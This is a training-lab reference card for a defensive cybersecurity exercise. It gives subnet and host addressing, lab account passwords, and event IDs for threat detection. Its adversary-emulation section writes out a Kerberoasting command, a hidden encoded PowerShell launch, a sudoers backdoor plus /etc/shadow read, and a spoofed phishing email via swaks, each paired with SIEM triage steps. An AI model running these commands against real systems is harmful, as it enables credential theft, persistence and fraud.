VIRTUAL CYBERSECURITY LAB | DESK REFERENCE CARD

Subnet Map • Master Credential Matrix • Threat Scenarios • Event ID Quick-Key

PORT::ZERO Cyber Solutions
The Ginger Hacker Initiative Conference

1. SUBNET & HOST ADDRESSING REFERENCE

Node / FQDN	IP Allocation	Key Ports & Services
VirtualBox NAT Router	`10.0.50.1` / `.2` (DHCP)	Outbound WAN Routing / DHCP Pool (`.3–.254`)
`DC01.lab.local`	`10.0.50.10` (Static)	AD DS (389), DNS (53), Kerberos (88), SMTP (25), IMAP (143)
`WAZUH-SRV`	`10.0.50.20` (Static)	HTTPS Web UI (443), Agent Stream (1514), Reg (1515)
`WIN11-CLI.lab.local`	Dynamic DHCP (`10.0.50.X`)	Sysmon v15, Wazuh Agent, Thunderbird Mail Client
`UBUNTU-CLI`	Dynamic DHCP (`10.0.50.X`)	Linux Auditd Framework, Wazuh Agent, OpenSSH
`KALI-NODE`	Dynamic DHCP (`10.0.50.X`)	Impacket Suite, Swaks, Metasploit, Nmap

2. MASTER RANGE CREDENTIAL LEDGER

Target System / Context	Username / Account	Password
DC01 Domain Admin	`LAB\Administrator`	`P@ssw0rd2026!`
Active Directory DSRM	`Administrator`	`DSRMP@ssw0rd2026!`
WIN11 Local Admin	`LocalAdmin`	`P@ssw0rd2026!`
Simulated Domain Users	`jdoe`, `asmith`, `evance`, `rtaylor`	`CyberLab2026!`
SQL Service Account (SPN)	`svc_sql_prod`	`SQL_Svc_2026!`
Ubuntu / SIEM Host	`analyst`	`P@ssw0rd2026!`
Wazuh SIEM Web Console	`admin`	*(Extracted from wazuh-passwords.txt)*
hMailServer Master Console	`Administrator`	`hMailAdmin2026!`
Kali Linux Threat Node	`kali`	`kali` *(or updated via passwd)*

3. MASTER BLUE TEAM DETECTION & EVENT ID QUICK-KEY

Log Channel / Engine	Event ID / Rule Key	Telemetry Name & Description	Primary Threat Hunting / SOC Analyst Value
Windows Security	`Event ID 4624 / 4625`	Successful Logon / Failed Logon	Track network sessions (Logon Type 3), RDP (Logon Type 10), and brute force / spraying attacks.
Windows Security	`Event ID 4720 / 4738`	User Account Created / Modified	Persistence detection; identifies unauthorized local or domain account creations and permission grants.
Windows Security	`Event ID 4768 / 4769`	Kerberos TGT / TGS Ticket Operations	**Kerberoasting:** Inspect Event ID 4769 for legacy encryption `0x17` (RC4-HMAC) targeting SPNs.
Microsoft Sysmon	`Event ID 1`	Process Creation	Captures full `CommandLine` flags, parent lineage (`ParentImage`), process hashes, and user tokens.
Microsoft Sysmon	`Event ID 3 / 7 / 10`	Network Connect / Image Load / Process Access	C2 beacons (ID 3), DLL sideloading (ID 7), and LSASS credential dumping memory access (ID 10).
PowerShell Operational	`Event ID 4104`	Script Block Execution	Logs complete de-obfuscated script code and dynamic payloads executed in memory or from encoded CLI.
Linux Auditd	`identity_modification`	Critical File Integrity Tampering	Monitors attribute changes and write events against `/etc/passwd`, `/etc/shadow`, and `/etc/sudoers`.

4. ADVERSARY EMULATION RECIPES & SIEM TRIAGE CHEAT SHEET

SCENARIO 1: KERBEROASTING T1558.003

```
# From Kali Linux Terminal:
impacket-GetUserSPNs lab.local/jdoe:CyberLab2026! -dc-ip 10.0.50.10 -request -outputfile hashes.txt
```

Wazuh Triage: Filter `data.win.system.eventID: "4769"`. Verify Service: `svc_sql_prod`, Encryption: `0x17`, Client IP: Kali IP.

SCENARIO 2: MALICIOUS PROCESS T1059.001

```
# In WIN11-CLI Command Prompt:
powershell.exe -NoP -NonI -W Hidden -EncodedCommand
VwByAGkAdABlAC0ASABvAHMAdAAgACIAUAByAG8AYwBlAHMAcwAgAEkAbgBqAGUAYwB0AGkAbwBuACAAUwBpAG0AdQBsAGEAdABpAG8AbgAiAA==
```

Wazuh Triage: Query Sysmon **Event ID 1** & PS **Event ID 4104**. Decode Base64 string in CyberChef.

SCENARIO 3: LINUX PERSISTENCE T1548.003

```
# In UBUNTU-CLI Terminal:
sudo bash -c 'echo "backdoor_user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' && sudo cat /etc/shadow
```

Wazuh Triage: Filter `rule.groups: "auditd"`. Match key `identity_modification` and system call `execve`.

5. SPEAR-PHISHING TEST & RFC 5322 FORENSICS

```
# Send spoofed executive phishing payload from Kali:
swaks --to jdoe@lab.local --from "payroll@external-spoof.com" \
      --header "From: Evelyn Vance <evelyn.vance@lab.local>" \
      --header "Reply-To: evance.attacker@gmail.com" \
      --header "Subject: URGENT: Wire Routing Verification" \
      --server 10.0.50.10 --port 25 --body "Review wire details
immediately."
```

Triage in Thunderbird (Ctrl + U): Inspect bottom-most `Received:` hop (true origin IP) and compare `From:` vs. `Return-Path:` / `Reply-To:` discrepancies.

6. 30-SECOND DIAGNOSTIC TRIAD

Diagnostic Check	CLI Health Verification Command
Check SIEM Agents	`sudo /var/ossec/bin/agent_control -l` *(on WAZUH-SRV)*
Fix Kerberos Skew	`w32tm /resync /force` *(on WIN11-CLI / DC01)*
Re-apply DC DNS	`Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses ("10.0.50.10","10.0.50.1")`